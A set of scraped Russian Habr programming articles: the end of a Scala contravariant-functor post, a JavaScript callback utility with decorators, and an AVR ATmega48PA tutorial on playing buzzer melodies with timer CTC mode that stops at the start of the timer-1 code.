println(filter(Option("some string")))
}
```
Это все, что касается контравариантных функторов. Надеюсь, что эта тема стала вам более понятна и вы добавили еще один тайпкласс в свой инструментарий. Конечно, в нашей любимой библиотеке Cats есть множество других интересных тайпклассов и даже еще один интересный Functor :), но это я оставлю на потом.
---
> Материал подготовлен в рамках курса ["Scala-разработчик".](https://otus.pw/8EH4/)
>
> Всех желающих приглашаем на открытый урок [«Разработка простого REST API c помощью HTTP4S и ZIO».](https://otus.pw/1yUL/) На примере построения простого веб сервиса с REST API, разберем основные компоненты (пути, бизнес логика, доступ к данным, документация), а также посмотрим как дружат такие функциональные библиотеки, как http4s, cats, zio в рамках одного приложения. [**РЕГИСТРАЦИЯ**](https://otus.pw/1yUL/)
>
> | https://habr.com/ru/post/568096/ | null | ru | null |
# Удобный callback
Надоело каждый раз писать колбеки руками. Написал простенькую скриптину, которая запонимает функцию (функции) с массивом аргументов и контекстом в объекте с методом fire, который не зависит от this, чтобы можно было цеплять колбек не только в «чистом» коде, но и к онклику или таймеру. Набор исполняемых функций и аргументов/контекста к каждой из них произвольный.
Из пряников только возможность давить всплытие ошибок, ограничивать кол-во запусков колбека и удобство выпечки других пряников на свой вкус.
#### Сама скриптина
> `function \_callback(fn, args, ctx, decorators) {
>
> // создание колбек-объекта
>
> // fn - вызываемая функция (обязательна):
>
> // может быть функцией, объектом {fn: function, args: [], ctx: {}}, или массивом
>
> // или смесью массивов, объектов и функций
>
> // args - массив аргментов
>
> // ctx - контекст (this) для вызываемой функции
>
> // decorators - строчка или массив строчек с назаванием дектораторов,
>
> // дополняющих основную функциональность
>
> var ret = new \_callback.Def(fn, args, ctx);
>
> if (decorators) {
>
> var d = \_callback.decorators;
>
> for (var key in decorators) {
>
> if (key in d) ret = new d[key](ret, fn, args, ctx, decorators[key]);
>
> }
>
> }
>
> return ret;
>
> }
>
> \_callback.Def = function(fn, args, ctx) {
>
> var dublicate = this; // myClb.fire можно просто передать в таймер или dom-событие,
>
> // и ничего от этого не сломается
>
> var arrayOrNull = function(ar) { return ar && ar.constructor == Array ? ar : null; };
>
>
>
> setFn(fn);
>
>
>
> this.updateFn = updateFn;
>
> //this.\_\_defineSetter\_\_("fn", setFn); // ie
>
> //this.\_\_defineGetter\_\_("fn", function() { return fn; });
>
>
>
> function fireByFn(myArgs, myFn, myCtx) {
>
> // вызываем колбек-функцию только здесь
>
> (myFn || fn).apply(myCtx || ctx || null, arrayOrNull(myArgs) || arrayOrNull(args) || []);
>
> return dublicate;
>
> }
>
> function fireByArray(myArgs, myFn, myCtx) {
>
> // если вместо фукнции прилетел массив, выполним вызов для каждого элемента
>
> for (var i=0, ar=myFn||fn, c=myCtx||ctx, a=arrayOrNull(myArgs) || arrayOrNull(args), l=ar.length; i
> return dublicate;
>
> }
>
> function fireByJSON(myArgs, myJson, myCtx) {
>
> // если вместо фукнции прилетел JSON
>
> var json = myJson || fn;
>
> getFireFn(json.fn)(arrayOrNull(json.args) || arrayOrNull(myArgs), json.fn, json.ctx || myCtx);
>
> return dublicate;
>
> }
>
>
>
> function getFireFn(fn) {
>
> // определяем тип обратного вызова и возвращаем его
>
> var type = dublicate.\_getTypeofFireFn(fn), fireFn;
>
> switch(type) {
>
> case "json": return fireByJSON; break;
>
> case "array": return fireByArray; break;
>
> case "function": return fireByFn; break;
>
> }
>
> return fireFn;
>
> }
>
>
>
> function setFn(val) {
>
> // отдаем наружу правильный метод fire
>
> dublicate.fire = getFireFn(fn = val);
>
> }
>
> function updateFn(transformFn) {
>
> setFn(transformFn(fn));
>
> return dublicate;
>
> }
>
> };
>
> \_callback.Def.prototype.\_err = function() { this.\_err.withoutFn(); };
>
> \_callback.Def.prototype.\_err.withoutFn = function() {
>
> throw "\_callback: wrong fn argument";
>
> };
>
> \_callback.Def.prototype.\_getTypeofFireFn = function(fn) {
>
> // чем является переданный объект: функцией, массивом, объектом
>
> if (!fn) this.\_err.withoutFn();
>
> if (typeof fn == "function") return "function";
>
> if (fn.constructor == Array) {
>
> for (var i=fn.length; i--;) this.\_getTypeofFireFn(fn[i]);
>
> return "array";
>
> } else {
>
> // {}
>
> this.\_getTypeofFireFn(fn.fn);
>
> return "json";
>
> }
>
> this.\_err.withoutFn();
>
> };
>
> \_callback.decorators = {};
>
> \_callback.decorators.\_copy = function(component, orig, instance) {
>
> for (var key in component) orig[key] = instance[key] = component[key];
>
> //instance.\_\_defineSetter\_\_("fn", function(val) { component.fn = val; }); // ie
>
> //instance.\_\_defineGetter\_\_("fn", function() { return component.fn; });
>
> };
>
> \_callback.decorators.count = function(component, fn, args, ctx, misc) {
>
> var orig = {};
>
> \_callback.decorators.\_copy(component, orig, this);
>
> var fired = misc;
>
>
>
> this.fire = fire;
>
>
>
> function fire() {
>
> if (!fired) return;
>
> fired--;
>
> component.fire();
>
> }
>
> };
>
> \_callback.decorators.stopThrow = function(component, fn, args, ctx, misc) {
>
> var orig = {};
>
> \_callback.decorators.\_copy(component, orig, this);
>
> this.fire = fire;
>
>
>
> function fire() {
>
> try {
>
> component.fire();
>
> } catch(er) {}
>
> }
>
> };
>
> \_clb = \_callback;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Пример использования
##### Подготовим фукнции, которые будут откликаться при .fire
> `var res = "";
>
> addLine = function(str) {
>
> res += str +"\n";
>
> };
>
>
>
> function f1(q, w, e) {
>
> addLine("f1: "+ q +", "+ w +", "+ e +"; this.q = "+ this.q);
>
> }
>
> function f2(q, w, e) {
>
> addLine("f2: "+ q +", "+ w +", "+ e +"; this.q = "+ this.q);
>
> }
>
> function f3(q, w, e) {
>
> addLine("f3: "+ q +", "+ w +", "+ e +"; this.q = "+ this.q);
>
> }
>
> function f4(q, w, e) {
>
> addLine("f4: "+ q +", "+ w +", "+ e +"; this.q = "+ this.q);
>
> }
>
> function f5() {
>
> uNdEfInEd++;
>
> addLine("f5");
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
##### И, собственно пример использования
> `// создадим пройстой объект колбека:
>
> q = \_clb(
>
> f1, // функция, которую следует вызывать...
>
> [1,2,3], // ...с тремя аргументами и...
>
> {q:5} // ...в заданном контексте (this.q==5)
>
> );
>
> q.fire(); // просто выполним колбек
>
> // f1: 1, 2, 3; this.q = 5
>
> q.fire([8]); // выполним колбек с другими аргументами
>
> // f1: 8, undefined, undefined; this.q = 5
>
> q.fire(false, false, {q:11}); // функция и аргументы теже, но другой this
>
> // f1: 1, 2, 3; this.q = 11
>
> q.fire([]); // и без аргументов
>
> // f1: undefined, undefined, undefined; this.q = 5
>
> addLine("----"); // для удобочитаемости
>
> // переобозначим колбэк
>
> q = \_clb([f1, f2, f3], [1,2,3], {q:5}); // аргументы и контекст теже, но вызываться будут три фукнции
>
> q.fire();
>
> // f1: 1, 2, 3; this.q = 5
>
> // f2: 1, 2, 3; this.q = 5
>
> // f3: 1, 2, 3; this.q = 5
>
> q.fire([8]); // аргументы меняются вне зависимости от "функции"
>
> // f1: 8, undefined, undefined; this.q = 5
>
> // f2: 8, undefined, undefined; this.q = 5
>
> // f3: 8, undefined, undefined; this.q = 5
>
> addLine("----");
>
>
>
> // можно использовать и JSON вперемешку с массивами и переопределить аргументы для отдельных вызовов:
>
> q = \_clb(
>
> [
>
> f1, // f1: 1, 2, 3; this.q = 5
>
> {fn: f2, args: [4, 5, 6]}, // f2: 4, 5, 6; this.q = 5
>
> {
>
> fn: [
>
> f2, // f2: 7, 8, 9; this.q = 0
>
> {fn: f2, args: [4, 5, 6]}, // f2: 4, 5, 6; this.q = 0
>
> f3 // f3: 7, 8, 9; this.q = 0
>
> ],
>
> args: [7, 8, 9], // аргументы по умолчанию для этого блока
>
> ctx: {q: 0} // контекст по умолчанию для этого блока
>
> }
>
> ],
>
> [1,2,3], // аргументы по умолчанию
>
> {q:5} // контекст по умолчанию
>
> ).fire();
>
> addLine("----");
>
>
>
> // заменять список функий можно так:
>
> q.updateFn(function(fn) {
>
> // мы знаем, что у нас массив
>
> fn.splice(1, 5);
>
> fn.push(f1, f1);
>
> return fn;
>
> }).fire(); // трижды: f1: 1, 2, 3; this.q = 5
>
> addLine("----");
>
>
>
> // если не нужен ie, можно раскомментировать \_\_defineSetter\_\_ и \_\_defineGetter\_\_ в скрипте и делать так:
>
> //q.fn = [f2, {fn: f2, args: [], ctx: {}}, {fn: f3, args: [7, 8, 9], ctx: {q: 0}}];
>
> //q.fire();
>
> //addLine("----");
>
>
>
> // запрещаем всплытие ошибок:
>
> q = \_clb(f5, false, false, {stopThrow: true}).fire(); // ничего не выведется
>
>
>
> // ограничиваем кол-во исполнений колбэка:
>
> q = \_clb(f1, [1,2,3], {q:5}, {count: 1});
>
> q.fire(); // f1: 1, 2, 3; this.q = 5
>
> // счетчик переключается с 1 на 0
>
> q.fire(); // второй раз колбек не выстрелит
>
>
>
> alert(res);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Думаю, я не один такой умный и хотелось бы узнать другие варианты. | https://habr.com/ru/post/99636/ | null | ru | null |
# Памятка. AVR. Buzic
### Суть
Я создал уже некоторое количество разных хоббийных электронных устройств, и у меня есть странная особенность: если на плате присутствует звуковой пьезоэлектрический излучатель(buzzer), я, по окончании основных работ над проектом, начинаю страдать ерундой и заставлять его проигрывать различные мелодии(насколько это возможно). Особенно бывает полезно включить мелодию, по окончании какого либо продолжительного процесса для привлечения внимания. Например, я это использовал, когда построил самодельную экспозиционную камеру для засветки фоторезиста и т.д.
Но когда я начал искать примеры генерации частот для AVR в сети, почему-то мне попадались монструозные, либо недостаточно лаконичные проекты, реализующие генерацию звуковых частот чисто программным образом. И тут я решил во всём разобраться сам…
### Лирическое отступление
Моё хобби включает в себя создание различных устройств на микроконтроллерах, т.к это никак не пересекается с моей проф. деятельностью(разработка софта), я считаю себя абсолютным самоучкой, да и в электронике не слишком силен. На самом деле я предпочитаю PIC микроконтроллеры, но так уж случилось, что у меня накопилось некоторое количество AVR микроконтроллеров компании Atmel(сейчас уже Microchip). Сразу оговорюсь, что никогда не держал в руках AVR, т.е. это первый мой проект на MCU Atmel, а именно Atmega48pa. Сам проект выполняет некоторую полезную нагрузку, но здесь я опишу лишь его часть, относящуюся к генерации звуковых частот. Тест для генерации частот я назвал «buzic», как сокращение от buzzer's music. Да чуть не забыл: на Хабре есть пользователь c ником [buzic](https://geektimes.ru/users/buzic/), хотел сразу предупредить, что данная памятка никак не относится к нему и на всякий случай, сразу прошу прощения за использование буквосочетания «Buzic».
### Итак, поехали
Я ознакомился с большим количеством примеров из сети — все они построены либо на простейшем цикле в основном теле микропрограммы, либо в прерывании таймера. Но все они используют один и тот же подход для генерации частоты:
1. подают высокий уровень на ногу микроконтроллера
2. делают задержку
3. подают низкий уровень на ногу микроконтроллера
Изменяя задержки и параметры таймера — подгоняют частоту.
Меня данный подход крайне не устраивал, т.к. у меня не было желания писать код для ручного управления ногой микроконтроллера. Я бы хотел, чтобы за меня звуковую частоту генерировал сам «камень», а я просто выставлял значения определенных регистров, тем самым меняя её(частоту).
При изучении даташита(далее ДШ), я таки нашел нужный мне режим таймера — и этим режимом, как Вы уже догадались, является режим CTC(Clear Timer on Compare Match). Так как функция проигрывания музыки является, мягко говоря, не основным функционалом я предпочел выделить для неё таймер 2(пункт 22 ДШ).
Все прекрасно знают, что практически у любого микроконтроллера режим генерации ШИМ сигнала реализован на таймерах и он вполне себе аппаратный. Но в данной задаче ШИМ не подходит т.к. аппаратно будет генерироваться только одна частота. Поэтому нам нужен ЧИМ(частотно импульсная модуляция). Некоторым подобием ЧИМ и является CTC режим таймера(пункт 22.7.2 ДШ).
### CTC режим
Таймер 2 в микроконтроллере Atmega48pa 8ми битный, т.е он «тикает» от 0 до 255 и затем идет по кругу. К слову таймер может идти и в другом направлении, но не в нашем случае. Следующим обязательным компонентом является модуль сравнения(Compare Unit). Если говорить совсем грубо, то этот модуль и является инициатором любых событий связанных с таймером. События могут быть разными — такими как прерывания, изменения уровня определенных ног микроконтроллера и т.д.(Очевидно нам интересно второе). Как нетрудно догадаться, модуль сравнения, не просто так назван — он сравнивает определенное значение выбираемое разработчиком микропрограммы с текущим значением таймера. Если значение таймера достигло заданной нами величины, то происходит событие. Также события могут происходить при переполнении таймера либо при сбросе. **Ок, мы пришли к тому, что нам удобно, чтобы в определенные моменты таймер вместе с модулем сравнения самостоятельно менял уровень на ноге микроконтроллера на противоположный — генерируя таким образом импульсы.**
Второй задачей является задание промежутков между этими импульсами — т.е. управление частотой генерации. Вся уникальность режима CTC заключается в том, что в этом режиме таймер не идет до конца(255), а сбрасывается при достижении заданного значения. Соответственно, изменяя это значение, мы можем фактически управлять частотой. Например если значение модуля сравнения мы задаем в 10, то изменение уровня на ноге микроконтроллера будет происходить в 20 раз чаще, чем если бы мы задали его(значение модуля сравнения) в 200. **Теперь мы можем управлять частотой!**
### Железо
По распиновке микроконтроллера видно, что нам нужно подключить наш buzzer либо к ноге PB3(OC2A) либо к ноге PD3(OC2B), т.к. OC2A и OC2B означает именно то, что на этих ногах таймер 2 может генерировать сигналы.
Схема, которой я обычно пользуюсь для подключения buzzer'а:
**И вот мы собрали устройство.**
### Регистры
В предыдущем пункте мы определились с выбором ноги — это PB3(OC2A), будем с ней работать. Если Вам нужна PD3, то для нее всё будет аналогично, что будет хорошо видно из повествования.
Настройку нашего таймера 2 мы будем производить меняя 3 регистра:
1. TCCR2A — настройки режима и выбор поведения
2. TCCR2B — настройки режима и делитель частоты таймера(ещё FOC биты — мы их не используем)
3. OCR2A (OCR2B для случая с ногой PD3) — значение модуля сравнения
Рассмотрим для начала регистры TCCR2A и TCCR2B
Как видно мы имеем 3 группы битов значащих для нас — это биты серии COM2xx, WGM2x и CS2x
Первое, что мы должны менять — это WGM2x — это главное, чтобы выбрать режим генерации — именно эти биты служат для выбора нашего CTC режима.
*примечание: очевидно в ДШ опечатка в «Update of OCR0x at» должно быть OCR2x*
Т.е. код будет такой:
```
TCCR2A = _BV(WGM21) ;
```
Как видно TCCR2B мы пока не используем т.к. WGM22 должен быть равен нулю, но он и так равен нулю.
Следующим шагом необходимо настроить биты COM2xx, точнее COM2Ax — т.к. мы работает с ногой PB3(для PD3 аналогично используются COM2Bx). От них зависит то, что будет происходить с нашей ногой PB3.
Биты COM2xx зависят от режима, который мы выбрали битами WGM2x, поэтому нам придется найти соответствующий раздел в ДШ. Т.к. у нас режим CTC, т.е. не ШИМ, то ищем табличку «Compare Output Mode, non-PWM», вот она:
Здесь необходимо выбрать «Toggle» — чтобы уровень на ноге менялся на противоположный при достижении таймером заданного значения. Постоянное изменение уровня и реализует генерацию необходимой нам частоты.
Т.к. биты COM2xx также лежат в регистре TCCR2A — то меняется только он:
```
TCCR2A = _BV(COM2A0) | _BV(WGM21) ;
```
Естественно, необходимо также выбрать делитель частоты битами CS2x, ну и конечно настроить ножку PB3 на выход… но мы этого делать пока не будем, чтобы при включении МК мы не получили пронзительный визг на непонятной частоте, а вот когда мы будем производить все остальные настройки и включать ножку на выход — будет рассказано ниже.
Итак давайте приведем нашу инициализацию к завершенному виду:
```
#include
//set bit - using bitwise OR operator
#define sbi(x,y) x |= \_BV(y)
//clear bit - using bitwise AND operator
#define cbi(x,y) x &= ~(\_BV(y))
#define BUZ\_PIN PB3
void timer2\_buzzer\_init()
{
//обнуляем PB3
cbi(PORTB, BUZ\_PIN);
//делаем PB3 пока входом, а не выходом
cbi(DDRB, BUZ\_PIN);
//настройка режимов
TCCR2A = \_BV(COM2A0) | \_BV(WGM21) ;
//обнуляем значение модуля сравнения(хотя я думаю можно и не обнулять)
OCR2A = 0;
}
```
Я использовал макросы cbi и sbi(подсмотрел где-то в сети) для установки отдельных битов, да так и оставил. Эти макросы разумеется у меня вынесены в заголовочный файл, но для наглядности я поместил их сюда.
### Расчет частоты и длительности нот
Теперь мы подходим к самой сути вопроса. Некоторое время назад, знакомые музыканты пытались вбить в мой мозг программиста некоторое количество информации по поводу нотного стана, мозг у меня чуть не вскипел, но всё же полезную крупицу я вынес из этих бесед.
Сразу предупреждаю — возможны огромные неточности.
1. каждый такт, состоит из 4 четвертей
2. У каждой мелодии есть темп — т.е. число таких четвертей в минуту
3. Каждая нота может проигрываться как весь целый такт, так и его часть 1/2, 1/3, 1/4 и т.д.
4. У каждой ноты, само собой, есть определенная частота
Мы рассмотрели самый распространенный случай, на самом деле там всё сложнее по крайней мере для меня, поэтому я не буду муссировать данную тему в рамках этого повествования.
Ну да ладно, будем работать с тем что есть. Самое главное для нас это в конечном итоге получить частоту ноты(на самом деле значение регистра OCR2A) и её длительность, например в миллисекундах. Соответственно необходимо сделать некоторые расчеты.
Т.к. мы находимся в рамках языка программирования, мелодии проще всего хранить в массиве. Логичней всего задавать каждый элемент массива в формате — нота + длительность. Необходимо посчитать размер элемента в байтах, ведь мы пишем под микроконтроллер и с ресурсами тут туго — значит размер элемента в байтах должен быть адекватным.
#### Частота
Начнем с частоты. Т.к. таймер 2 у нас 8-битный, регистр сравнения OCR2A также 8-битный. То есть наш элемент массива мелодии будет уже, как минимум, 2 байта, потому что нужно же ещё длительность сохранять. На самом деле 2 байта — это предел для подобного рода поделок. Хорошего звучания мы всё равно, мягко говоря, не получим, а тратить больше байт неразумно. **Итак, мы остановились на 2х байтах.**
**При подсчете частоты, на самом деле, вылезает ещё одна большая проблема.**
Если посмотреть частоты нот, то мы увидим, что они делятся на октавы.
Для большинства несложных мелодий, достаточно 3х октав, я же решил извернуться и реализовать 6ть: большую, малую и следующие 4е.
Теперь отвлечемся от музыки и окунемся обратно в мир программирования микроконтроллеров.
Любой таймер в AVR(и подавляющим большинстве других МК) привязан к частоте самого МК. Частота кварца в моей схеме 16Mhz. Эта же частота определена «дефайном» F\_CPU равным в моём случае 16000000. В регистре TCCR2B мы можем выбрать делители частоты, чтобы наш таймер 2 «тикал» не с бешеной скоростью 16000000 раз в секунду, а чуть медленнее. Делитель частоты выбирается битами CS2x, как говорилось выше.
*примечание: очевидно в ДШ опечатка вместо «CA2x» должно быть CS2x*
Возникает вопрос — как настроить делитель?
Для этого необходимо понять как вычислять значения для регистра OCR2A. А вычислять его достаточно просто:
**OCR2A = F\_CPU / (делитель частоты кварца \* 2) / частота ноты**
Например, берем ноту ДО первой октавы и делитель 256(CS22 = 1, CS21 = 1, CS20 = 0):
OCR2A = 16000000 / (256 \* 2) / 261 = 119
Сразу поясню — откуда взялось умножение на 2. Дело в том, что мы выбрали режим «Toggle» регистрами COM2Ax, а это значит, что смена уровней на ноге с низкого на высокий(или наоборот) и обратно будет происходить за 2 прохода таймера: сначала таймер дойдет до значения OCR2A и поменяет ногу микроконтроллера, допустим, с 1 на 0, сбросится и лишь на втором круге поменяет 0 обратно на 1. Поэтому на каждую полную волну уходит 2 круга таймера, соответственно делитель нужно умножить на 2, иначе мы получим лишь половину частоты нашей ноты.
Отсюда и появляется вышеупомянутая беда…
Если мы возьмем ноту ДО большой октавы и оставим делитель 256:
OCR2A = 16000000 / (256 \* 2) / 65 = 480!!!
**480 — это число явно больше чем 255 и физически не влезет в 8-битный регистр OCR2A.**
Что же делать? Очевидно менять делитель, но если мы поставим делитель 1024, то с большой октавой будет всё хорошо. Проблемы начнутся с верхними октавами:
ЛЯ 4й октавы — OCR2A = 16000000 / (1024 \* 2) / 3520 = 4
ЛЯ диез 4й октавы — OCR2A = 16000000 / (1024 \* 2) / 3729 = 4
**Значения OCR2A перестали отличаться, а значит и звук также перестанет отличаться.**
**Выход только один: для частоты нот нужно хранить не только значения регистра OCR2A, но и биты делителя частоты кварца. Т.к. для разных октав будет разное значение делителя частоты кварца, которое мы должны будем установить в регистре TCCR2B!**
Теперь всё встаёт на свои места — и я наконец то объяснил, почему мы сразу не могли заполнить значение делителя в функции timer2\_buzzer\_init().
К сожалению, делитель частоты — это ещё 3 бита. И их придется занять во втором байте элемента массива мелодии.
**Да здравствуют макросы**
```
#define DIV_MASK (_BV(CS20) | _BV(CS21) | _BV(CS22))
#define DIV_1024 (_BV(CS20) | _BV(CS21) | _BV(CS22))
#define DIV_256 (_BV(CS21) | _BV(CS22))
#define DIV_128 (_BV(CS20) | _BV(CS22))
#define DIV_64 _BV(CS22)
#define DIV_32 (_BV(CS20) | _BV(CS21))
#define NOTE_1024( x ) ((F_CPU / (1024 * 2) / x) | (DIV_1024 << 8))
#define NOTE_256( x ) ((F_CPU / (256 * 2) / x) | (DIV_256 << 8))
#define NOTE_128( x ) ((F_CPU / (128 * 2) / x) | (DIV_128 << 8))
#define NOTE_64( x ) ((F_CPU / (64 * 2) / x) | (DIV_64 << 8))
#define NOTE_32( x ) ((F_CPU / (32 * 2) / x) | (DIV_32 << 8))
//большая октава
#define DOB NOTE_1024( 65 )
#define DO_B NOTE_1024( 69 )
#define REB NOTE_1024 ( 73 )
#define RE_B NOTE_1024 ( 78 )
#define MIB NOTE_1024 ( 82 )
#define FAB NOTE_1024 ( 87 )
#define FA_B NOTE_1024 ( 93 )
#define SOLB NOTE_1024 ( 98 )
#define SOL_B NOTE_1024 ( 104 )
#define LAB NOTE_1024 ( 110 )
#define LA_B NOTE_1024 ( 116 )
#define SIB NOTE_1024 ( 123 )
//малая октава
#define DOS NOTE_256( 131 )
#define DO_S NOTE_256( 138 )
#define RES NOTE_256 ( 146 )
#define RE_S NOTE_256 ( 155 )
#define MIS NOTE_256 ( 164 )
#define FAS NOTE_256 ( 174 )
#define FA_S NOTE_256 ( 185 )
#define SOLS NOTE_256 ( 196 )
#define SOL_S NOTE_256 ( 207 )
#define LAS NOTE_256 ( 219 )
#define LA_S NOTE_256 ( 233 )
#define SIS NOTE_256 ( 246 )
//первая октава
#define DO1 NOTE_256( 261 )
#define DO_1 NOTE_256( 277 )
#define RE1 NOTE_256 ( 293 )
#define RE_1 NOTE_256 ( 310 )
#define MI1 NOTE_256 ( 329 )
#define FA1 NOTE_256 ( 348 )
#define FA_1 NOTE_256 ( 369 )
#define SOL1 NOTE_256 ( 391 )
#define SOL_1 NOTE_256 ( 414 )
#define LA1 NOTE_256 ( 439 )
#define LA_1 NOTE_256 ( 465 )
#define SI1 NOTE_256 ( 493 )
//вторая октава
#define DO2 NOTE_128( 522 )
#define DO_2 NOTE_128( 553 )
#define RE2 NOTE_128 ( 586 )
#define RE_2 NOTE_128 ( 621 )
#define MI2 NOTE_128 ( 658 )
#define FA2 NOTE_128 ( 697 )
#define FA_2 NOTE_128 ( 738 )
#define SOL2 NOTE_128 ( 782 )
#define SOL_2 NOTE_128 ( 829 )
#define LA2 NOTE_128 ( 878 )
#define LA_2 NOTE_128 ( 930 )
#define SI2 NOTE_128 ( 985 )
//третья октава
#define DO3 NOTE_64( 1047 )
#define DO_3 NOTE_64( 1109 )
#define RE3 NOTE_64 ( 1175 )
#define RE_3 NOTE_64 ( 1245 )
#define MI3 NOTE_64 ( 1319 )
#define FA3 NOTE_64 ( 1397 )
#define FA_3 NOTE_64 ( 1480 )
#define SOL3 NOTE_64 ( 1568 )
#define SOL_3 NOTE_64 ( 1661 )
#define LA3 NOTE_64 ( 1760 )
#define LA_3 NOTE_64 ( 1865 )
#define SI3 NOTE_64 ( 1976 )
//четвертая октава
#define DO4 NOTE_32( 2093 )
#define DO_4 NOTE_32( 2217 )
#define RE4 NOTE_32 ( 2349 )
#define RE_4 NOTE_32 ( 2489 )
#define MI4 NOTE_32 ( 2637 )
#define FA4 NOTE_32 ( 2794 )
#define FA_4 NOTE_32 ( 2960 )
#define SOL4 NOTE_32 ( 3136 )
#define SOL_4 NOTE_32 ( 3322 )
#define LA4 NOTE_32 ( 3520 )
#define LA_4 NOTE_32 ( 3729 )
#define SI4 NOTE_32 ( 3951 )
```
А на длительность ноты у нас осталось всего 5 бит, так давайте же посчитаем длительность.
#### Длительность
Для начала необходимо перевести значение темпа во временные единицы(например в миллисекунды) — я сделал это так:
**Длительность музыкального такта в мс = (60000 мс \* 4 четверти) / значение темпа.**
Соответственно, если мы говорим о долях такта, то данное значение необходимо делить и по началу я думал, что обычного сдвига влево для делителей будет достаточно. Т.е. код был таков:
```
uint16_t calc_note_delay(uint16_t precalced_tempo, uint16_t note)
{
return (precalced_tempo / _BV((note >> 11) & 0b00111));
}
```
Т.е. я использовал 3 бита(из оставшихся 5ти) и получил части музыкального такта из степеней 2ки аж до 1/128. Но когда я отдал товарищу с просьбой написать мне какой нибудь рингтон под мою железяку, возникли вопросы почему нет 1/3 или 1/6й и я начал думать…
В конце концов, я сделал хитрую систему, чтобы получить такие длительности. Один бит из оставшихся 2х — я потратил на признак умножения на 3 для делителя такта, получившегося после сдвига. А последний бит — для индикации того, нужно ли вычитать 1. Это сложно описать, проще посмотреть код:
```
uint16_t calc_note_delay(uint16_t precalced_tempo, uint16_t note)
{
note >>= 11;
uint8_t divider = _BV(note & 0b00111);
note >>= 3;
divider *= ((note & 0b01) ? 3 : 1);
divider -= (note >> 1);
return (precalced_tempo / divider);
}
```
Затем я «задефайнил» все возможные(кроме тех, которые меньше 1/128) длительности нот.
**Вот они**
```
#define DEL_MINUS_1 0b10000
#define DEL_MUL_3 0b01000
#define DEL_1 0
#define DEL_1N2 1
#define DEL_1N3 (2 | DEL_MINUS_1)
#define DEL_1N4 2
#define DEL_1N5 (1 | DEL_MINUS_1 | DEL_MUL_3)
#define DEL_1N6 (1 | DEL_MUL_3)
#define DEL_1N7 (3 | DEL_MINUS_1)
#define DEL_1N8 3
#define DEL_1N11 (2 | DEL_MUL_3 | DEL_MINUS_1)
#define DEL_1N12 (2 | DEL_MUL_3)
#define DEL_1N15 (4 | DEL_MINUS_1)
#define DEL_1N16 4
#define DEL_1N23 (3 | DEL_MUL_3 | DEL_MINUS_1)
#define DEL_1N24 (3 | DEL_MUL_3)
#define DEL_1N31 (5 | DEL_MINUS_1)
#define DEL_1N32 5
#define DEL_1N47 (4 | DEL_MUL_3 | DEL_MINUS_1)
#define DEL_1N48 (4 | DEL_MUL_3)
#define DEL_1N63 (6 | DEL_MINUS_1)
#define DEL_1N64 6
#define DEL_1N95 (5 | DEL_MUL_3 | DEL_MINUS_1)
#define DEL_1N96 (5 | DEL_MUL_3)
#define DEL_1N127 (7 | DEL_MINUS_1)
#define DEL_1N128 7
```
#### Собираем всё вместе
Итого, мы имеем следующий формат элемента массива нашего рингтона.
* 1bit: delay divider — 1
* 1bit: delay divider \* 3
* 3bit: delay divider shift
* 3bit: cpu clock divider
* 8bit: OCR2A value
Всего 16 бит.
Уважаемый читатель при желании может пофантазировать над форматом сам, может быть родится что-то более ёмкое, чем у меня.
Мы забыли ещё добавить пустую ноту, т.е. тишину. И вот наконец-то я объяснил почему мы в самом начале в функции timer2\_buzzer\_init() специально установили ногу PB3 на вход а не на выход. Меняя регистр DDRB, мы и будем включать и выключать проигрывание «тишины» или композиции в целом. Т.к. ноты со значением 0 у нас быть не может — она и будет являться «пустой» нотой.
Определим недостающие макросы и функцию включения генерации звука:
```
#define EMPTY_NOTE 0
#define NOTE(delay, note) (uint16_t)((delay << 11) | note)
........
........
........
void play_music_note(uint16_t note)
{
if (note)
{
TCCR2B = (note >> 8) & DIV_MASK;
OCR2A = note & 0xff;
sbi(DDRB, BUZ_PIN);
}
else
cbi(DDRB, BUZ_PIN);
}
```
Теперь я Вам покажу как выглядит рингтон, написанный по такому принципу:
```
const uint16_t king[] PROGMEM =
{
NOTE(DEL_1N4, MI3),
NOTE(DEL_1N4, FA_3),
NOTE(DEL_1N4, SOL3),
NOTE(DEL_1N4, LA3),
NOTE(DEL_1N4, SI3),
NOTE(DEL_1N4, SOL3),
NOTE(DEL_1N2, SI3),
NOTE(DEL_1N4, LA_3),
NOTE(DEL_1N4, FA_3),
NOTE(DEL_1N4, LA_3),
NOTE(DEL_1N4, EMPTY_NOTE),
NOTE(DEL_1N4, LA3),
NOTE(DEL_1N4, FA3),
NOTE(DEL_1N2, LA3),
NOTE(DEL_1N4, MI3),
NOTE(DEL_1N4, FA_3),
NOTE(DEL_1N4, SOL3),
NOTE(DEL_1N4, LA3),
NOTE(DEL_1N4, SI3),
NOTE(DEL_1N4, SOL3),
NOTE(DEL_1N4, SI3),
NOTE(DEL_1N4, MI4),
NOTE(DEL_1N4, RE4),
NOTE(DEL_1N4, SI3),
NOTE(DEL_1N4, SOL3),
NOTE(DEL_1N4, SI3),
NOTE(DEL_1N2, RE4),
NOTE(DEL_1N2, EMPTY_NOTE),
};
```
### Проигрывание рингтона
У нас осталась одна задача — проигрывание мелодии. Для этого нам нужно «бежать» по массиву рингтона, выдерживая соответствующие паузы и переключая частоты нот. Очевидно, нам нужен ещё один таймер, который, к слову, можно использовать и для других общих задач, как обычно делаю я. Причем переключаться между элементами массива можно либо в прерывании этого таймера, либо в основном цикле, а таймер использовать для вычисления времени. В этом примере я использовал 2й вариант.
Как известно тело любой программы для МК включает в себя бесконечный цикл:
```
int main(void)
{
for(;;)
{
//здесь будет проигрыватель
}
return 0;
}
```
В нем мы и будем «бежать» по нашему массиву. Но нам нужна функция, подобная GetTickCount из WinApi, возвращающая количество миллисекунд в операционных системах семейства Windows. Но естественно в мире МК нет никаких таких функций «из коробки», поэтому мы должны написать её сами.
#### Таймер 1
Для подсчета временных промежутков(я намеренно не пишу миллисекунд, позднее Вы поймете почему) я использовал таймер 1 совместно с, уже известным нам, CTC режимом. Таймер 1 является 16-битным таймером, а это значит, что значение модуля сравнения для него указывается уже 2мя 8-битными регистрами OCR1AH и OCR1AL — для старшего и младшего байта соответственно. Я не хочу подробно описывать работу с таймером 1, так как это не относится к основной теме данной памятки. Поэтому расскажу всего лишь в 2х словах.
Нам, фактически нужны 3 функции:
* Инициализация таймера
* Обработчик прерывания таймера
* функция, возвращающая количество временных промежутков.
**Код С файла**
```
#include
#include
#include
#include "timer1\_ticks.h"
volatile unsigned long timer1\_ticks;
